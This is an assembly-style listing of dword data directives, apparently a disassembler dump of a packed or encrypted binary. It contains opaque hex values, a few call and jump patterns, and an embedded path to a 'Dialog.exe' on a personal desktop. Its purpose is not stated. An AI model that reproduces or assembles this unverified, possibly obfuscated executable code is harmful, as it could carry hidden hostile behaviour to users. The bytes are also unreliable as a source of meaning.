		dd 0C5C5DABh, 3798AD5h,	5079C828h, 379A1FCh, 0C022820Ah
		dd 27252B5Eh, 273D2386h, 379B745h, 0C02AE1A0h, 3890A195h
		dd 8279A228h, 5CF4A5E5h, 2AB98915h, 1779B788h, 34A4B84h
		dd 313A241h, 37A4AF3h, 5859A250h, 5FF0F9EBh, 47F8A630h
		dd 363A62Eh, 503AA205h,	28DABC41h, 0E342976Eh, 0E7C3C4F7h
		dd 2C1F812h, 8879A228h,	1769FB99h, 9329320Ch, 0DEF49165h
		dd 8A7FB69Ch, 176727F4h, 0BEF4C3A6h, 560E918h, 53E32FA5h
		dd 20C1A40Dh, 0EC45Fh, 176E6B80h, 0C2B68984h, 5102791Ch
		dd 7B0313DCh, 14037A4Ah, 0C95859A2h, 215FF0F9h,	0A647F8A6h
		dd 0E9836DA6h, 58A4F305h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 6AC35343h, 0F1C6E5A4h, 0A9BD8B05h, 8B061404h
		dd 1407119Dh, 0BE906h, 0EA300000h, 5C9807E8h, 5144239Fh
		dd 0FC00B75h, 2884h, 8D9D8900h,	8D06141Bh, 144DFFB5h, 0DDBD8906h
		dd 8B06141Bh, 14024D95h, 3B806h, 8B660000h, 81E6FFFEh
		dd 0F8B0B5D3h, 0DEB5405Ch, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6A2CFFC3h
		dd 7712847Dh, 850F2D96h, 2, 0EDBFDA8Ah,	8340A679h, 1410F1BDh
		dd 9750006h, 0E25BD83h,	74000614h, 8B535019h, 403B8C0h
		dd 85890000h, 61424F1h,	0A7B99D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6140E25h, 50177400h,	403B853h, 85890000h, 61424F1h
		dd 0A45A9D8Dh, 0D3FF0616h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FBD90FC3h
		dd 0B1135B02h, 50006AF5h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0F68CFE8Ch, 8BD066FFh
		dd 61C08BFAh, 0FE9h, 12186B00h,	2Fh, 2 dup(0)
		dd 5ABE9h, 235E6E00h, 4E3F40DFh, 77325DCAh, 9F1634B3h
		dd 80FD0C9Bh, 6DD5FF7Ch, 40DF235Eh, 59C64A43h, 31AE722Dh
		dd 0FD989C0Fh, 0C012218Eh, 629155E9h, 0D2F48BBEh, 0AEDCA3DBh
		dd 5F43C7F7h, 720406D5h, 0A92D5D50h, 0DBF77685h, 0E62CA8A0h
		dd 0ED1F55C6h, 19FFC68Eh, 0EFA44456h, 0EC1097C1h, 275A6926h
		dd 0B94244E3h, 10981A3Bh, 413C4A8Ah, 85A9CD49h,	48470675h
		dd 0C3E7A2AEh, 22689A31h, 0F031B685h, 0D15ECD53h, 53F03662h
		dd 55799DE1h, 74295A25h, 40570044h, 888CFF01h, 0EAFF31Fh
		dd 53F03633h, 7EBFCCB0h, 53F036C3h, 54D8FC40h, 0E1A45127h
		dd 60B1398Dh, 2DD1FD92h, 4D7D611Ch, 9848FDEh, 26636EF1h
		dd 918EB216h, 880C3C6Fh, 0FDB8D58Ah, 1A97B2CDh,	346F9DE2h
		dd 69678004h, 5EBD1A32h, 6DCCF337h, 0D0CBC706h,	0FAB1D34Ch
		dd 0FE0351C2h, 18AEFB5h, 0DAFEB3D2h, 0B3413C4Dh, 0F07A78C2h
		dd 702D5A53h, 0FF4AEB58h, 7453F07Ah, 82F91710h,	5AB1DE8Ah
		dd 50A748D0h, 9574DC02h, 7CFA85h, 1C8F0000h, 0F04EA093h
		dd 0C05F2353h, 55B1C9C4h, 656755DFh, 9AA70636h,	9953F092h
		dd 0C37EBF2Ah, 4053F092h, 0D36ECFFCh, 5053F092h, 325926ECh
		dd 948CFA20h, 18485h, 67100000h, 94073766h, 0A06B8D5h
		dd 0F2A96B8Fh, 0DF6ACBD1h, 5453F092h, 0A3BCCCF0h, 0BADEEEA5h
		dd 87BB6DDh, 0F0929CAFh, 0FB241753h, 53F09248h,	0D12347CBh
		dd 9094093Ah, 8286F517h, 0CA797B09h, 6649B1D2h,	6867AAACh
		dd 497A0535h, 45F22454h, 5A6CF32Eh, 0D491CD23h,	83C75ABAh
		dd 4ABDA71h, 3E886A21h,	0BF43677Ch, 5F6F1E20h, 70880500h
		dd 92AAE1EFh, 81B58421h, 4ACE53F0h, 0D8F0ABDDh,	89B8DF80h
		dd 8C08007Bh, 7B927D68h, 949EC17Fh, 5B3D85h, 67FB0000h
		dd 7A053568h, 1E3A524Fh, 1C2B5AB1h, 3029D61h, 0D63CB99h
		dd 0DA0F09C8h, 0F0B2A093h, 0C05F2353h, 56B2CAC3h, 47451A32h
		dd 26233C4Ch, 0C3C7994h, 0B546488h, 0E8981FCh, 6742C82Fh
		dd 0AB4191F8h, 2B8594AAh, 28h, 35686781h, 534E7A05h, 0A9C00F3Bh
		dd 0F2366B9Ah, 37666720h, 92A4A607h, 0F69953F0h, 8C8D539Fh
		dd 1298594h, 87000000h,	42C36C67h, 6C42EBFEh, 2E9B8799h
		dd 0DC678B38h, 0CDFF80B8h, 0F532ADDEh, 53F0CC46h, 0BBB79DDh
		dd 746AD8Ch, 0F58D910Ch, 0C58D9214h, 24FAB5D1h,	4A79C059h
		dd 0BFA32757h, 87C7609Bh, 7849DC8Dh, 3355DDEFh,	0A0C44078h
		dd 0F0082CA8h, 1D2E5D6Fh, 8BBC424Eh, 6C24EE12h,	1BF1491Fh
		dd 0E0D23B42h, 504B7D12h, 0B944F938h, 4F55E4h, 1B3736E9h
		dd 26EC6860h, 0E0245769h, 4CAADDABh, 45971E8Fh,	0BFEE10CFh
		dd 79A6118Ch, 55E4DECAh, 0B584C549h, 0CE55E4DEh, 45F4314Ah
		dd 0DE55E4DFh, 9F0CB87Ah, 44CEBFC0h, 0F6067597h, 2D5CB3C0h
		dd 0EF9C601Bh, 33B7290h, 3FED8D87h, 9F8BA8D9h, 1F6E3AC9h
		dd 45CFD088h, 149BAh, 61807600h, 2514910Ch, 0BE53F092h
		dd 92A093DAh, 7A8853F0h, 0A7CB4F03h, 26223994h,	2C61B56Bh
		dd 186A434Ah, 0D39B9B1Ah, 70D449DCh, 64050758h,	0F33C3072h
		dd 55E49940h, 3AA97FC3h, 45C9EDB4h, 0C6F5A8DAh,	1F158887h
		dd 0FFAED0AFh, 272619CFh, 0C3477726h, 443AA31h,	5F4E7002h
		dd 0A4C8C5C0h, 2A26F460h, 0E0708BA9h, 555761FCh, 65060C0Fh
		dd 3Fh,	5F56730Ah, 658053D5h, 0EA71EC1Fh, 6E6FA5D8h, 0D3F092B3h
		dd 4FBCCCB0h, 629A1330h, 9DFD30E6h, 7750A6D4h, 1D0130BDh
		dd 0A12ED3F0h, 4309DC4Ah, 1D3CEF48h, 533753F0h,	981DCFh
		dd 809B0000h, 47E01B61h, 49DC6A83h, 57E0EB74h, 85E33572h
		dd 0C30544Dh, 2F5E60FFh, 0A3DBD2F0h, 8ED1ED27h,	91F6F37Ch
		dd 0E94B3A57h, 0A4A641C5h, 0EC50D1E9h, 0CE55E401h, 0B5CAC2BFh
		dd 0B9ED1D98h, 0DF33F71Eh, 182A59B0h, 0E326F9Eh, 1D6B7A0Ah
		dd 0C6E573EEh, 0B0AA6354h, 0F404798Ah, 37A66C90h, 4FCDB977h
		dd 60D35CCFh, 0E35FDD79h, 70C36C9Fh, 0F35FDD79h, 197D858Fh
		dd 316C9EE1h, 1083BE19h, 0DD79A497h, 0CC5B3F5Fh, 0AB30C2BBh
		dd 7503E244h, 0CB19D946h, 76DA45F4h, 618060B2h,	9290A30Ch
		dd 2F1353F0h, 0CF85F00Bh, 14C04E7h, 5D58DA26h, 49D92F9Dh
		dd 0CA79A611h, 4955E9F3h, 573B4FC5h, 6E292524h,	8C38FA5Eh
		dd 56DAD1F3h, 0B4C4B7C9h, 0F2436475h, 0D5C6FAAh, 0F8B83FEh
		dd 0F00F6605h, 6B2224CEh, 2224C347h, 0C200506Bh, 3432E123h
		dd 2C9F2FE5h, 0A1732E5Dh, 0AAA1DCEAh, 0C1F9B4D3h, 0ED118CBEh
		dd 0D008727h, 38504D7Eh, 628956DCh, 0A66A2123h,	64940739h
		dd 856h, 1F8CDC00h, 0CA484540h,	34676740h, 52497B04h, 6E29253Ah
		dd 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h, 306D98E7h
		dd 57464718h, 89501F27h, 405E0h, 0E8830000h, 24048704h
		dd 2414895Ch, 141D68h, 24148900h, 81E28952h, 4C2h, 4EA8300h
		dd 5C241487h, 50241C89h, 0AF7D07B8h, 0C1D8F77Eh, 0C13503E0h
		dd 510C9D45h, 0CA89C189h, 8B545859h, 0C483241Ch, 23BF6804h
		dd 14890000h, 8438F24h,	52241C8Bh, 0C281E289h, 4, 8704C283h
		dd 8B5C2414h, 89562414h, 4C681E6h, 83000000h, 348704C6h
		dd 35E95C24h, 3AFFFB29h, 0FC5D66A2h, 549F3790h,	19572AB8h
		dd 0FFC50306h, 0E99228E0h, 0CBE5546Ah, 0B177C235h, 2A9CA320h
		dd 12E819h, 115E0000h, 84A68266h, 0CBECDC4Dh, 7DF52700h
		dd 25FBEA75h, 8AFEE381h, 805F579Dh, 0C781EBD7h,	7156h
		dd 800FC033h, 2, 148BCA8Bh, 0DF8B6607h,	194AC281h, 0BE6620EBh
		dd 0EA81BF98h, 35DB8354h, 24F281F9h, 601CDF91h,	4870Fh
		dd 0BA660000h, 0CE85C54h, 4C000000h, 0D267C826h, 89617AFEh
		dd 5FC6FF96h, 7148961h,	38B0Fh,	0B70F0000h, 11E9F6h, 5FBD0000h
		dd 63E46FE5h, 0E62BCC50h, 302468FAh, 81DB41C8h,	1C5317E8h
		dd 0D6816614h, 0C081D2F6h, 141C5313h, 8F78F881h, 850FFFFFh
		dd 11h,	27E9h, 246FA500h, 2D8E32D9h, 0A1A217C1h, 6820F4Ah
		dd 81000000h, 5BEA23D6h, 0FF64E949h, 0F94AFFFFh, 0D28985BCh
		dd 72482400h, 59AD8D8Dh, 6A0619h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0BBDD5CC3h, 0E5E49939h
		dd 0E8533B06h, 10h, 3B01E315h, 4A602DCh, 0A2F76793h, 59E36D41h
		dd 8D89585Fh, 6142B69h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 88C35040h, 105585C7h,	640C0614h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0D62EC6C3h, 0C28B6CEEh, 13D85C7h, 614h, 0E8600000h
		dd 0Bh,	0E92DE624h, 7FBC4B97h, 0B91905DFh, 4CFDACD7h, 95BD8B58h
		dd 6106141Bh, 0D09B5FFh, 81660614h, 0FFE913E6h,	140BD995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 1EBDE525h, 20ADBD5Ah, 6057D965h,	71E28166h
		dd 8D0FFCh, 61000000h, 0E881665Fh, 6AA574h, 297195FFh
		dd 0C08B0614h, 0C5AF4CEBh, 0D0754363h, 0EA32BD71h, 61003552h
		dd 0AF766A57h, 94729E47h, 414AED47h, 0EE801345h, 42CCD9F6h
		dd 8DF2989Dh, 91D2A022h, 0E860E99Ch, 70FA1E5Dh,	34E42269h
		dd 858A783Ah, 0EF2BE377h, 6F809A7Bh, 3A48DCC9h,	18F4A034h
		dd 2ADE8A91h, 46D4D471h
		dd 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh, 5AF19826h
		dd 7AEF5E26h, 60338C2Eh, 0E4FFB44Eh, 56F867A5h,	0BEA08C0Ah
		dd 242B66A3h, 0BA796720h, 27CD25A3h, 0FAD71B20h, 33338C2Ah
		dd 33831D29h, 0B6C09826h, 35BFC228h, 33D61576h,	63AF817Ch
		dd 2A690DD9h, 64839E32h, 59359826h, 231F1523h, 634B817Ch
		dd 69A61DABh, 0CC039E3Fh, 27BFDDB3h, 3C149320h,	336AA1A2h
		dd 23B01526h, 639C817Ch, 334DAACEh, 0BEF6D826h,	2A098EA3h
		dd 0B624C820h, 35CDC236h, 0AFF6776h, 0B0338C34h, 0B61794E2h
		dd 3554C236h, 33231576h, 6355817Ch, 2A140DD9h, 513D9E32h
		dd 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh,	33A69824h
		dd 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh, 3335B2CFh
		dd 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh, 33A9982Ch
		dd 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h,	0FB4EC3D9h
		dd 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h, 37A8517Fh
		dd 0CD881526h, 0BE9C817Fh, 2A16ABABh, 932020h, 0FC780000h
		dd 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h,	33B58DFFh
		dd 8D06195Bh, 195B528Dh, 83CF2B06h, 0C88B05E9h,	8E8h, 58401E00h
		dd 2D1D6024h, 0D9B58B4Eh, 58061416h, 9D8D8B52h,	5B061415h
		dd 5FD7C081h, 0A4B90000h, 0BA6FCEBBh, 17C2h, 0EAB3B966h
		dd 11E930FFh, 0D2000000h, 0A6FE6645h, 5603BD08h, 0CFD3B4DAh
		dd 8794328Fh, 20E1815Fh, 817BC41Fh, 3160F6F7h, 118D8B72h
		dd 81061408h, 0E7A3F8C7h, 0E1DB8128h, 81248334h, 5A2908EFh
		dd 89D1B32Fh, 68D0F38h,	89000000h, 1416C5BDh, 0F0E88106h
		dd 312B5C14h, 1413719Dh, 0ECC08106h, 0E92B5C14h, 8, 0EF6CCAC8h
		dd 7A780AF2h, 0F01EA83h, 2185h,	0CE900h, 0B9620000h, 6A0238C3h
		dd 5A3F0073h, 1DE9D5A4h, 0F1000000h, 5ADBAC85h,	0D749EBC8h
		dd 8D093050h, 61418B1h,	0FFFF5FE9h, 9C59D8FFh, 75C87411h
		dd 0EE8h, 0E6A9E500h, 0C968F598h, 0F2F51A17h, 0E9C0BFE8h
		dd 0Bh,	38B9486h, 0B7C31E04h, 5A5500A9h, 1E459D03h, 0C2810614h
		dd 712Eh, 8650BF66h, 1C1068h, 0FBCB8100h, 591BD0C5h, 3039858Bh
		dd 32FF0614h, 9FD9D2Bh,	0E95E0614h, 13h, 58F38A6h, 0ED407949h
		dd 255699Dh, 0C7F25A25h, 81D5F819h, 74C69DEEh, 2D95894Dh
		dd 8106141Bh, 1AD424EEh, 259D8B03h, 8106142Ch, 0DB3217F6h
		dd 0BD235017h, 614254Dh, 8932895Fh, 1411659Dh, 3EA8306h
		dd 2B898589h, 814A0614h, 1E9h, 1C850F00h, 0E9000000h, 7
		dd 188DE00Bh, 0E9E93390h, 3Bh, 15769015h, 0D5FE8710h, 0E88CA502h
		dd 12h,	0E6A1F64h, 3A656327h, 0D6B23BAFh, 4456055Ah, 80572ADAh
		dd 5F5806C8h, 0FFFF5DE9h, 0AE8A93FFh, 29AF5801h, 0DCC28FDFh
		dd 0E8281C1Bh, 13h, 24CBB0BBh, 32428B75h, 950A4189h, 0C24894CDh
		dd 66935E0Fh, 586328BEh, 2D859589h, 0C0810614h,	5CAAh
		dd 3810Fh, 0B70F0000h, 8E85BAF6h, 0C28179B1h, 864E887Fh
		dd 10318589h, 188B0614h, 81B96660h, 840F44h, 61000000h
		dd 0ED8F381h, 8C0F27F7h, 0
		dd 0BD7CC381h, 0E1810E20h, 475DD4FEh, 3F12EB81h, 5ABE7A4Dh
		dd 537E19F5h, 71F18166h, 89008FE3h, 14049D85h, 1E88306h
		dd 8E0Fh, 48480000h, 81858948h,	8306140Bh, 850F01EAh, 0FFFFFFA6h
		dd 23818589h, 9D8D0614h, 61415D1h, 0CEB8h, 3D858900h, 0E806140Ch
		dd 0
		dd 0D0558h, 3890000h, 0CEE9h, 0F2000000h, 32h dup(0F2000076h)
		dd 0E9FFFF76h, 8Dh, 4A3036F7h, 445C3A43h, 6D75636Fh, 73746E65h
		dd 646E6120h, 74655320h, 676E6974h, 614D5C73h, 6D697472h
		dd 72614320h, 656E6F62h, 7365445Ch, 706F746Bh, 6169445Ch
		dd 2E676F6Ch, 657865h, 13h dup(0)
		dd 0F2DE900h, 0ED680000h, 0E9061960h, 0FFFBE435h, 1961E668h
		dd 0E42BE906h, 0C768FFFBh, 0E9061963h, 0FFFBE421h, 19640668h
		dd 0E417E906h, 0AF68FFFBh, 0E9061964h, 0FFFBE40Dh, 19656768h
		dd 0E403E906h, 2768FFFBh, 0E9061969h, 0FFFBE3F9h, 196C1768h
		dd 0E3EFE906h, 0DC68FFFBh, 0E906196Ch, 0FFFBE3E5h, 0E0178CCEh
		dd 45F22B60h, 285FD207h, 8F2479D8h, 578C1F71h, 4494CB14h
		dd 0E82CBCEBh, 8FC000B7h, 3B9BE91Eh, 0BE9F4FE4h, 80E0A288h
		dd 2776FE39h, 241992F9h, 5708C096h, 0AF2A2E58h,	0DE518799h
		dd 77A72567h, 90CE5838h, 256BDA3Fh, 0A7D1938Ah,	1D7C82BEh
		dd 91EF5680h, 0DBB5E241h, 5CAAABA8h, 85A07E4Ah,	123B1F88h
		dd 742FDBECh, 88FD6F35h, 7C0E3012h, 0C49A3E39h,	54BBF2BFh
		dd 27AA8Dh, 8ACF0000h, 437BDAD9h, 35738F7Eh, 62F36A04h
		dd 61C455BAh, 3D1F2723h, 3397B8Fh, 0FFACB78Fh, 0B98D5420h
		dd 0E0h, 0D738663Ch, 86FF2980h,	875A6F6h, 0F66FC014h, 48E5344Ah
		dd 92B397D5h, 0A34C3505h, 0A0E090F0h, 0BEA7FC5Ah, 3A988682h
		dd 0BF10936h, 9733687Eh, 7D9B81E5h, 75E73368h, 0CC0A62DBh
		dd 0C15F2057h, 0B3B1F8Eh, 336881ECh, 90C75CBAh,	51810250h
		dd 8F396BD2h, 7A792A96h, 0A5DDFA1Bh, 336879BFh,	113111C3h
		dd 35749128h, 0D14BF86Ah, 0A2D8A5A6h, 3B8606EEh, 0C05DBF61h
		dd 0FD0DBCD5h, 0BAA3DD76h, 0E6908A8Eh, 0C457B967h, 3B76A779h
		dd 3898E85Fh, 0D690A0E7h, 37226ABh, 0CC7D3h, 0E8478B00h
		dd 0B7E62DBBh, 108DC000h, 0F93465E3h, 41DA3A4Ah, 510ECF12h
		dd 0E977ACFFh, 8DDB08A3h, 24A4D34Ah, 540AB9F6h,	0E1E7CDF5h
		dd 0B3BB3980h, 0E53666CEh, 9AA0C14Eh, 336781B4h, 0E83612CCh
		dd 0DDDE75AAh, 7BDAD98Ah, 738F7E43h, 0F36A0435h, 7B8F997Bh
		dd 4976A739h, 7B8F4B31h, 24BF7539h, 54DB768Dh, 0D5ED681Ah
		dd 397BB7EFh, 0DD41C1B3h, 492D4289h, 3D5A8D54h,	7BBB1F05h
		dd 91F16339h, 0B7DDh, 38665000h, 812C1228h, 9A743367h
		dd 0B864F568h, 2060C55Ah, 596C620h, 868BAA20h, 0BB1B3367h
		dd 61B1CF64h, 0C71AAEEh, 0C93B225Ch, 8AB09D9Eh,	35739DA1h
		dd 6CC077E1h, 2D553033h, 3B85418Ch, 3FE16C1Eh, 0FD2E6EDDh
		dd 0AFAED888h, 3992788Eh, 7CEE336Ah, 58330AC0h,	0AD95B14Bh
		dd 0EB2BF55Ah, 48E136B4h, 75B397D5h, 914B8823h,	9526AB39h
		dd 0BCEF220h, 4E800000h, 0ED22A2D1h, 94F907BCh,	3B9AEA19h
		dd 0E133B1E6h, 9D6194Eh, 7E950656h, 0C271AAEEh,	0ABD85182h
		dd 71A6FD5Dh, 0E0C6FC5Dh, 0A03980E2h, 3666C14Ch, 71C14EE5h
		dd 9A9ED9A6h, 34F2569Bh, 991A49E6h, 0DB568799h,	0C4222662h
		dd 48241996h, 117E950Ah, 0A863FC21h, 0C74788Ch,	31624DFEh
		dd 0F22C81D4h, 0AEAFD98Bh, 74717F98h, 0EC510335h, 7C709476h
		dd 60F65A39h, 5502561Bh, 7C68Dh, 0D86B0000h, 82Dh, 0F6D98AD5h
		dd 0BDF025A2h, 4E74D103h, 35738745h, 5A322BC5h,	0F070A7FCh
		dd 0A2180DA2h, 5A37A9E6h, 49719EFFh, 94B7A563h,	0F32A613Fh
		dd 0A4ACDE8Ah, 12E02E00h, 0F5E4C512h, 0C52327D0h, 0CFB5CD95h
		dd 0DF94B7DBh, 3AD42679h, 0D2BD8D88h, 3F286A46h, 40A187BFh
		dd 77E194B8h, 5C4278C5h, 2494B840h, 1479CE4Ah, 89372526h
		dd 71D1AAF1h, 55C867B7h, 0B787FCDDh, 75FB394h, 7FB2E739h
		dd 56CD0D1Bh, 3C73A321h, 0F234E151h, 0CD9CD360h, 0B9C63C45h
		dd 182DE93Ch, 3565A4BAh, 58C449FEh, 0ADC3BAF3h,	10503568h
		dd 568462E6h, 0C40EF40Ah, 5961D216h, 0D216C373h, 51035D0Fh
		dd 3A54CB0Bh, 0B4AD243h, 0EF98B296h, 0B85961ECh, 0B9D422E1h
		dd 6D6C0149h, 0DF8DF02Bh, 48DAD6AFh, 73A052C8h,	0E6914352h
		dd 437B98E5h, 0CC23625Dh, 7C629825h, 4CC2362h, 3158386Ah
		dd 2F6A7009h, 0FA5FC1CEh, 9F49A3A7h, 4B3245B1h,	6278C27h
		dd 268A1A00h, 876D9574h, 1B74268Ah, 0E56D1F69h,	0A6A7A4D7h
		dd 0FF3267B9h, 467EDA86h, 76328EA9h, 1A86FF69h,	0CAEB6A69h
		dd 0B8ADFE52h, 493C71A4h, 5969E91Bh, 7C1C0749h,	0E23A1BF5h
		dd 0E1E7FB4h, 1F652CFh,	0F71C93C3h, 0E5F1B313h,	0ED10BE37h
		dd 0A1000009h, 4381366Dh, 0E6669D0Ch, 0BBC97EB3h, 5090C75Ah
		dd 0F578AF00h, 8A257728h, 56C90F5Dh, 3970A321h,	871C7A8Ah
		dd 0A7DFBE50h, 3980E4C1h, 66E06DC1h, 0AE5CFB38h, 9026AE27h
		dd 9AEF525h, 2E600000h,	0CD0242F1h, 74D9275Ch, 1B7A8A39h
		dd 0C1135186h, 69B6396Eh, 1EB5E636h, 0E2118ACEh, 4BF83162h
		dd 1146DD3Dh, 0E61C7Dh,	803980E6h, 386621ACh, 54A1FF9h
		dd 3E684882h, 356D647h,	0B197AFAEh, 0F13367C7h,	0B3E50307h
		dd 0FB1ACB78h, 326FA27Ah, 339194Bh, 0CCF25350h,	3573D033h
		dd 0E43805F7h, 41037AB3h, 3A5FD7C1h, 28F8EF27h,	0E9117C7Fh
		dd 0FD1C9D4Ch, 0C34124D6h, 8CB29390h, 0F72E0D7Ch, 0FD4503F3h
		dd 9483E213h, 818C7EACh, 61E1389Fh, 3976A478h, 0AB1C7A8Ah
		dd 7C9B3564h, 5F03D5A4h, 58F4FC6h, 0C9000009h, 6BF92E85h
		dd 0E5EF524h, 0A32156CBh, 78883F72h, 0D508718h,	0E23D9FC0h
		dd 4EE137B5h, 1188CB19h, 0FF3462E2h, 8FB79648h,	3980E5A9h
		dd 668875F9h, 0F30B2838h, 3367820Dh, 9D83FB95h,	0E5336781h
		dd 864D90Bh, 452156C7h,	336781BFh, 92F3F0A3h, 0F375475h
		dd 33678129h, 0B1978F79h, 0F1336781h, 1A000607h, 66336781h
		dd 52748CF4h, 0D6357EE0h, 0F055CA08h, 190706B0h, 0BFCD7AB9h
		dd 0A1ABEC5Fh, 80DFB399h, 0E31DCF39h, 7DAEE27Ah, 0FC2E5808h
		dd 0E46FA191h, 0F154CB0Bh, 7B5C03B3h, 9AFB0A0Eh, 79D95282h
		dd 4B326DAFh, 0C4BE235h, 2094D00Ah, 4D4989FCh, 1000008h
		dd 0A32156CDh, 46863D6Ch, 1B699E13h, 0B03067BAh, 5598CF60h
		dd 2A85D788h, 0F6296FFDh, 59D00341h, 277CDA2Ah,	477FDEF0h
		dd 3980E661h, 6640CD21h, 0EA82FB38h, 7E0E77ACh,	0C7998C1Dh
		dd 0D36D1A97h, 6C246609h, 0DE354B32h, 380E244Fh, 98B99625h
		dd 67DB7C62h, 0EE6A0433h, 0DC2AF44Ah, 585FD21Bh, 70AEAA40h
		dd 336AA122h, 0B7EC1E4Ah, 40BC5E13h, 4BBDE87h, 8A530000h
		dd 0E179D8D9h, 28C50AF9h, 78AF9FFEh, 2ED52855h,	8CB2DBBFh
		dd 357F996Ah, 0B096ACCDh, 0F0398168h, 9170D606h, 52F49E9Eh
		dd 0CB4A24F6h, 50AE0555h, 8EBAA3FCh, 5DBD638Ah,	8BBF91C6h
		dd 40918F8Eh, 0AD9173EFh, 0E517A277h, 4140C080h, 24F12AC9h
		dd 499F850h, 920D4F21h,	380EE4ABh, 68B4E525h, 0E98DF52Ah
		dd 9E610E55h, 3FDB06B5h, 5E000000h, 7ADBDE8Ah, 3392C35Dh
		dd 281D4FE2h, 2E81878h,	9E336782h, 5B0179ECh, 691300E3h
		dd 254A91A5h, 97A7A791h, 16h, 4278991Ah, 3367815Ch, 0D0B5EA28h
		dd 0AC944690h, 18FCCh, 0DE8AC100h, 4DEC62DBh, 9F4A0BEEh
		dd 93D8233Bh, 500AC7Eh,	2Ah, 0DBDE8AA8h, 0EE1AEC62h, 2CE04A0Bh
		dd 9A9CD11Ah, 921C00ACh, 3D000000h, 0E600E61Ch,	0D680ACD3h
		dd 0E5694F77h, 4F39ACD3h, 0DE8A0ECBh, 0C35D7ADBh, 9391990h
		dd 33678123h, 0A123BE8Ch, 9BCB62B5h, 2447FFA1h,	74A44CA5h
		dd 738B8A24h, 3368668Dh, 0D1F7B15h, 0E5AA4453h,	2DF39033h
		dd 9DCFB6EDh, 0B0900F4Fh, 7C313A0Ch, 3C8740CFh,	39h, 0DBDE8AB1h
		dd 815C447Ah, 0B2D33367h, 6781A68Ch, 808FA33h, 0ED146012h
		dd 2B88D6A8h, 0A1FA5A32h, 0C99DB5BCh, 3B13E794h, 402E7B30h
		dd 73D87h, 0D8B00000h
		dd 0D0h, 9ED8D5h, 0A7790000h, 925F3B76h, 62DBDE8Ah, 37C341ECh
		dd 2F078B66h, 90718724h, 5B31DCh, 99A40000h, 78D85787h
		dd 32131642h, 6781260Ch, 95887A33h, 47AC5B1Dh, 0D96D2113h
		dd 603FDD92h, 315FA7h, 8AD20000h, 447ADBDEh, 3367815Eh
		dd 55CDB022h, 5E47AC93h, 0A48BB1Bh, 46F0B095h, 0D04B81DFh
		dd 76C8226Dh, 5BF3A77Bh, 605C5B10h, 7DDF4h, 0D8500000h
		dd 54h,	0FB3866D5h, 812B0C82h, 0E3B73367h, 9EA4C54Bh, 336781B8h
		dd 0B9041CC8h, 93D23E6h, 0DF4E81DFh, 0C05E3A66h, 35E61D92h
		dd 8BDBDE8Ah, 278BFC52h, 0B91F010Fh, 12E2E266h,	9E33678Dh
		dd 403C327Ah, 0FF4AE487h, 7BA5FFFFh, 0E29E871Ah, 7ED8EB66h
		dd 0D5000002h, 9AFB3866h, 66DF5482h, 49275E3Ah,	0D9528609h
		dd 1A7EAEAFh, 0D24E8181h, 9BA3A2A1h, 3573928Ah,	0ACFF55CBh
		dd 9D8F8BB9h, 91240A30h, 827C397Bh, 4F6CED50h, 7B915137h
		dd 4B8B5139h, 0A6DEBAD4h, 397B91C4h, 0EE30068Ah, 91D3B9C1h
		dd 3DAF397Bh, 4E376AAFh, 9DD23612h, 1F8D543Eh, 3Dh, 0DAD98A92h
		dd 8F7E437Bh, 6A043573h, 8F997BF3h, 76A7397Bh, 0E0E666B6h
		dd 397B8FFAh, 0DEBAD486h, 92DF243Ah, 0A8D5420h,	0D0h, 4BB61D03h
		dd 1C79AB06h, 7B8400E6h, 72D68039h, 0FB3866E7h,	5D251582h
		dd 0A199CF0Ch, 81D34D35h, 365F542Ch, 134D08FFh,	0AF04522Ah
		dd 3B78A6B6h, 907B9A8Ch, 0CB0B3367h, 0E05E3F54h, 0F145584Dh
		dd 0ADE3793Fh, 4BE41672h, 66B5CD48h, 68357194h,	4B2F152Dh
		dd 8173397Eh, 4B987E84h, 7EE8397Eh, 7DDF41CCh, 0D19B4120h
		dd 0FA00A6F2h, 0A0D7019Ah, 18BFF020h, 2097B70Ch, 8D5787FEh
		dd 41000004h, 0E361960Dh, 86C67DACh, 5BA9DE53h,	0F070A7FAh
		dd 95D80FA0h, 6AC51748h, 3669AF3Dh, 99104381h, 67BC1A6Ah
		dd 73F1E30h, 3980EA21h,	66008D61h, 0C14EE536h, 0BEA7FA5Fh
		dd 3EB02480h, 74A6EB0Ah, 43C4120Ch, 0C9A79E11h,	77352883h
		dd 0BF7CABC5h, 81D73866h, 0DB75372Eh, 57CC0A62h, 0CBB1C9F6h
		dd 0D7336781h, 3A75A725h, 0CE010143h, 341A2041h, 4C336781h
		dd 0EB84B692h, 0B4556DE8h, 8535739Fh, 7CE1389Bh, 24D644CCh
		dd 9FE5C941h, 2E84397Bh, 0C7161618h, 0A3DCEE6Ah, 0FC9DA5A0h
		dd 7D3B87BDh, 4A336EA3h, 5AE03A1Eh, 8F8FB8F7h, 22915813h
		dd 3F1146F0h, 0E10E0F0Ch, 0F4D4BAC0h, 32AC3367h, 530C2E56h
		dd 0E29C357Fh, 0C558BD63h, 187FA1AEh, 64EC9C81h, 80AE805Ch
		dd 56C70839h, 541D21h, 80900000h, 3367819Eh, 21565502h
		dd 128BC05Ch, 0F19792Bh, 78EE57CAh, 33678192h, 1A00FE1Fh
		dd 53A7C8A6h, 0B1852929h, 0B3E03D90h, 0C2CD7CCAh, 4A3881EDh
